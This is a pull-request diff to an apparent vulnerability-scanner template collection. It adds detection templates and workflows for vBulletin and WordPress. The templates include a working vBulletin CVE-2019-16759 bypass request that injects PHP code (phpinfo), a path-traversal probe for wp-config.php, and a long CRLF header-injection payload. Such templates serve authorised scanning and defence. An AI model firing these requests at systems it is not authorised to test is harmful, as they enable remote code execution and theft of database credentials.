Merge pull request #295 from Kiblyn11/wordpress-workflow-wp-config

wp-config misconfig and wordpress workflow

cves/CVE-2019-16759-1.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759-1
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+
+# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"

security-misconfiguration/wordpress-accessible-wpconfig.yaml

@@ -0,0 +1,20 @@
+id: wordpress-accessible-wpconfig
+info:
+  name: WordPress accessible wp-config
+  author: Kiblyn11 & zomsop82
+  severity: high
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-config.php'
+      - '{{BaseURL}}/wp-config-sample.php'
+      - '{{BaseURL}}/wp-config.php.txt'
+      - '{{BaseURL}}/wp-config.php.bak'
+      - '{{BaseURL}}/wp-config.php.old'
+      - '{{BaseURL}}/wp-config-backup.txt'
+      - '{{BaseURL}}/wp-license.php?file=../..//wp-config'
+    matchers:
+      - type: word
+        words:
+          - DB_NAME
+        part: body

technologies/tech-detect.yaml

@@ -1024,6 +1024,11 @@ requests:
         regex:
           - <div id="copyright">Powered by vBulletin
         condition: or
+      - type: word
+        name: vbulletin
+        words:
+          - 'vBulletin.version'
+          - 'content="vBulletin'
         part: body
       - type: regex
         name: meteor

vulnerabilities/crlf-injection.yaml

@@ -2,7 +2,7 @@ id: crlf-injection
 
 info:
   name: CRLF injection
-  author: melbadry9 & nadino
+  author: melbadry9 & nadino & xElkomy
   severity: low
 
 requests:
@@ -15,6 +15,8 @@ requests:
       - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
       - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."    # Apache
       - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"    # CVE-2016-4975
+      - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"
+
     matchers:
       - type: regex
         regex:

workflows/vbulletin-workflow.yaml

@@ -0,0 +1,25 @@
+id: vbulletin-workflow
+
+info:
+  name: vBulletin workflow
+  author: pdteam
+
+variables:
+
+  vbulletin_tech: technologies/tech-detect.yaml
+  vbulletin_cve_1: cves/CVE-2019-16759.yaml
+  vbulletin_cve_2: cves/CVE-2019-16759-1.yaml
+  vbulletin_cve_3: cves/CVE-2020-12720.yaml
+
+  # This will run all 3 CVEs if vbulletin tech is found.
+
+logic:
+  |
+  vbulletin_tech()
+
+  if vbulletin_tech["vbulletin"] {
+
+    vbulletin_cve_1()
+    vbulletin_cve_2()
+    vbulletin_cve_3()
+  }

workflows/wordpress-workflow.yaml

@@ -0,0 +1,22 @@
+id: wordpress-workflow
+info:
+  name: Wordpress workflow
+  author: Kiblyn11 & zomsop82
+variables:
+  wordpress_tech: technologies/tech-detect.yaml
+  wordpress_dir_listing: files/wordpress-directory-listing.yaml
+  wordpress_user_enum: files/wordpress-user-enumeration.yaml
+  wordpress_wpconfig: security-misconfiguration/wordpress-accessible-wpconfig.yaml
+  wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
+  wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
+logic: |
+  wordpress_tech()
+
+  if wordpress_tech["wordpress"] {
+
+    wordpress_dir_listing()
+    wordpress_user_enum()
+    wordpress_wpconfig()
+    wordpress_duplicator_path_traversal()
+    wordpress_wordfence_xss()
+  }